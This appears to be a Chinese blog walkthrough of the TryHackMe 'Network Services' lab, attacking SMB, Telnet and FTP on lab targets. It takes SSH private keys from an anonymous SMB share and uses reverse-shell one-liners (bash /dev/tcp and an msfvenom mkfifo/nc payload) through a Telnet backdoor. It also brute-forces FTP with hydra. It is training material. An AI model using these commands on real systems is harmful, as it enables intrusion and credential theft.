Task2:SMB
当我们连接上靶机后,我们照例进行一波 ping,确认能 ping 通主机后开始进行照例扫描
靶机 IP:10.10.63.100
本机 IP:10.13.37.91
我们使用 nmap 扫描靶机开放端口,使用
nmap -sC -sV --script vuln -oN nmap-$ip.out 10.10.63.100
#命令含义
-sC: 此选项使用默认的 Nmap 脚本集启用脚本扫描。它将运行一组脚本来检测目标上的常见漏洞和服务。
-sV: 此选项用于启用版本检测。它尝试通过发送探测和分析响应来确定目标上运行的服务版本。
--script vuln: 此选项指定要运行的特定脚本,在本例中为“vuln”。“vuln”脚本旨在检测目标服务中的常见漏洞。
-oN nmap-$ip.out:此选项指定扫描结果的输出格式和文件名。在这种情况下,它会将结果保存到名为“nmap-$ip.out”的文件中,其中“$ip”应替换为目标的实际 IP 地址。
扫描得到的结果会存入文件中,我们打开文件去寻找开放的端口
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
如上所示,开放了 22,139,445 三个端口,其中 22 是 SSH 端口,139 和 445 都是 SMB 端口。
Task3:枚举 SMB
在枚举 SMB 的过程中,我们使用的是 enum4linux 工具
Enum4linux 是用于枚举 Windows 和 Linux 系统上的 SMB 共享的工具。它基本上是 Samba 包中工具的包装器,可以轻松地从目标中快速提取与 SMB 有关的信息。它默认安装在 Parrot 和 Kali 上,但是如果您需要安装它,您可以从官方 github 进行安装。
Enumlinux 的使用方法:
TAG 函数
-U 获取用户列表
-M 获取机器列表
-N 获取名称列表转储(不同于 -u 和 -M)
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-a 以上所有(完整的基本枚举)
所以在这里我们使用enum4linux -a 10.10.63.100来对目标靶机进行全枚举。然后获得了他的共享目录
很明显,其中的 profiles 目录比其他的目录重要性都要高,所以我们跟随房间提示去看如何利用这个 profiles 目录。
Task4:利用 SMB
题目提示我们使用匿名访问的方式去访问靶机的 SMB 目录,具体我们将会使用 smbclient 进行连接,我么可以使用如下语法来访问 SMB 共享。
smbclient //ip/shares [options] args
后跟标签:
-U [name]:指定用户
-p [port]:指定端口
我们使用smbclient //10.10.63.100/profiles -U Anonymous访问 SMB 共享目录。
因为题目提示我们尝试匿名访问,所以当需要密码的时候我们直接选择 Enter 跳过密码输入
如图所示,存在匿名访问,我们没有输入密码就进入了共享目录,输入 ls 查看目录下存在的文件和文件夹。
根据题目提示,打开唯一一个不是隐藏的 Working From Home Information.txt 文件,使用more "Working From Home Information.txt",然后得到文件内容。
根据内容可以看出这是一个允许职员 John Cactus 在家远程办公的邮件,可使用的方式是 ssh,所以我们可以回答给出的问题并查看.ssh 目录
使用cd .ssh进入 ssh 目录,ls 查看文件夹内容
如果我们接下来需要使用 ssh 连接服务器,那么这里的私钥和公钥文件可以帮助我们跳过密码输入,直接使用密钥文件进入服务器,所以使用mget id_rsa*将文件下载下来,然后复制进我们攻击机的.ssh 目录下,顺便将本来的 ssh 文件备份。
此时我们可以使用 ssh 去连接靶机的 IP,但在此之前我们还需要打开公钥文件 id_rsa.pub,在文件末尾去寻找 ssh 的用户名
如上所示,所有的条件都已经具备,我们使用ssh cactus@10.10.63.100连接靶机,成功进入服务器内部。
然后回答问题
Task6:枚举 Telnet
关于枚举:
在刚才的 smb 实验中,我们初步了解到了枚举对于利用配置错误的网络服务方面的作用,所以在 Telnet 实验中依旧先要进行枚举,虽然 Telnet 已经很过时了,只在部分路由器的配置和一些很老的路由设备中使用,但是学还是要学的
端口扫描:
依旧是经典的起手式,使用 nmap 扫描靶机
靶机 IP:10.10.151.26
因为不知道是什么原因,openvpn 还是别的啥,nmap 老扫不动,所以我放弃了 kali,这一步使用 thm 提供的 attackbox 进行。
我靠,全扫描真的好慢!!!急急急
很难想象扫描了 1600s 扫出来这么个东西。如上所示,开放端口 8012,tcp 协议,可能存在 skidy 的 backdoor。
答完题接着看如何利用
Task7:利用 Telnet
关于 telnet 利用:
我还是用自己的 openvpn 连吧,attackbox 卡的飞起。:sweat_smile:
整理一下刚才收集的内容
- 靶机上存在一个 telnet 服务,一扫就出来,运行于 8012 端口
- 这个服务被标记为 backdoor,有可能有后门
- 涉及到了用户 skidy
如上所示,利用这些信息的前提是先连接靶机,使用telnet 10.10.151.26 8012连接靶机。
这就很明显,这个服务是一个人为留下的后门程序,输入 help 发现可以使用.RUN <command>来执行部分命令,所以尝试一下
感觉没有用,输入命令没有任何回显,像是坏了,根据题目提示使用 tcpdump 连接 telnet。
检查是否执行系统命令
首先启动 tcpdump 侦听器
sudo tcpdump ip proto \\\icmp -i tun0
这将启动一个 tcpdump 监听 ping 操作的流量。
如上,一个终端用来连接 telnet 靶机,一个用来开启 tcpdump 监听 tun0 网卡的流量,后面的\\icmp 表示只过滤 ping 操作的流量。
执行一次 ping 操作
主机监听显示获取到两次流量,一次请求一次回复,证明命令确实被当做系统命令执行了,只是没有回显,那这种情况之前做 CTF 的遇到过很多次了,典型的页面无回显但存在 shell 执行,这种时候我们只需要使用反弹 SHELL 将靶机的 SHELL 反弹到我们的 SHELL 上就好了。
bash -i >& /dev/tcp/IP/PORT 0>&1
#bash -i:启动交互式bash的命令
#>&:文件描述重定向符号,用于将一个文件描述符的输出连接到另一个文件描述符。在这里,>&用于将标准输出(文件描述符1)连接到标准错误输出(文件描述符2)。这意味着标准输出和标准错误都将被发送到同一个地方。也就是使用一个文件描述符来涵盖两个内容,方便执行错误之后也能看到输出内容
#/dev/tcp/IP/PORT:这部分用于指定反向连接的目标IP地址和端口号。你需要将IP替换为实际的目标IP地址,将PORT替换为实际的目标端口号。这将使Bash尝试连接到指定的IP地址和端口。
#0>&1:这部分将文件描述符0(标准输入)重定向到标准输出(文件描述符1)。这意味着你可以通过与远程主机的连接向其发送输入。本质是将本地输入的命令发送到了远端作为输出,远端又将发来的输出作为标准输出,形成一个流式传输,使输出的结果作为输入发送到本地,本地的输入又做为输出定向到标准输入。
所以我们执行.RUN bash -i >& /dev/tcp/10.13.37.91/7777 0>&1
然后在本地机上执行 nc 监听,监听我们的 7777 端口。
然后我发现行不通,可能是靶机压根就没有 bash,也可能是防火墙策略,这个走不通。所以我们使用 msfvenom 去生成一个可用的 payload 去反弹 shell。
msfvenom -p cmd/unix/reverse_netcat lhost=10.13.37.91 lport=7777 R
#-p 有效负载类型
#lhost 我们的本地机IP地址
#lport 要侦听的端口(本地机上的端口)
#R 以原始格式(Raw)导出负载
然后我们就可以使用mkfifo /tmp/ekplern; nc 10.13.37.91 7777 0</tmp/ekplern | /bin/sh >/tmp/ekplern 2>&1; rm /tmp/ekplern去反弹 SHELL。
先在本地 NC 监听 7777 端口
nc -lvvp 7777
然后在靶机执行.RUN mkfifo /tmp/ekplern; nc 10.13.37.91 7777 0</tmp/ekplern | /bin/sh >/tmp/ekplern 2>&1; rm /tmp/ekplern
当出现如上内容时表示我们已经成功连接上了靶机,获取了他的 shell。
我们尝试执行命令
可以看到命令都可以正常执行并且可以获取到输出内容。
FTP 简介
什么是 FTP?
文件传输协议(FTP)顾名思义,是一种用于允许通过网络远程传输文件的协议。它使用客户端 - 服务器模型来做到这一点,并且 - 正如我们稍后将介绍的那样 - 以一种非常有效的方式中继命令和数据。
FTP 是如何工作的?
典型的 FTP 会话将使用两个通道进行工作:
- 命令(有时称为控制)通道
- 数据通道。
命令通道用于传输命令以及对这些命令的回复,而数据通道则用于传输数据。
FTP 使用客户端 - 服务器 (C/S) 协议运行,客户端启动与服务器的连接,服务器验证用户所提供的任何登录凭据,最后尝试打开会话;当 FTP 会话打开时,用户可以通过 FTP 客户端在 FTP 服务器上执行 FTP 命令。
主动与被动
FTP 服务器可以支持主动或被动连接,或同时支持两者。
在活动 FTP 连接中,客户端打开一个端口并侦听。服务器需要主动连接到它。
在被动 FTP 连接中,服务器打开一个端口并侦听(被动),客户端连接到该端口。
Task9:枚举 FTP
靶机 IP:10.10.216.249
端口扫描
起手式不变,第一步,我们先扫他的端口。
nmap -sC -sV -T4 10.10.216.249
如图所示,开放了 21,80 两个端口。
答个题
然后尝试匿名访问一下
使用用户 Anonymous,密码不输,直接回车,进去了,还真有。
使用 ls 获取发现一个叫 PUBLIC_NOTICE.txt 的文件,使用get filename下载然后打开,
由文件内容可知用户名估计是叫 Mike,顺便答个题
Task10:利用 FTP
关于 FTP 的利用
首先从枚举可知
- 一个 FTP 变种运行于 21 端口
- 我们已经知道了一个用户名 Mike
并且查询资料可知,FTP 和 Telnet 一样,都是明文传输:rofl:,所以我们可以尝试一下暴力破解,用 Hydra。
hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.216.249 ftp
-t 4 每个目标的并行连接数
-l [user] 指向用户
-P 字典路径
-vV 详细模式设置为非常详细,显示每次尝试和密码组合
IP 目标IP
ftp 设置协议
运气很好,纯纯的弱口令
直接再次连接 ftp,使用 mike 的账号密码,进入后发现了一个文件,是题目的答案,顺带做个题。
![Featured image of post [THM]Network Services 初见](https://gcore.jsdelivr.net/gh/sakura-xh/upload-1@master/blogUploadIm/2023/11-06/%E4%B8%8B%E8%BD%BD/UfN2w1AUyz.png)

































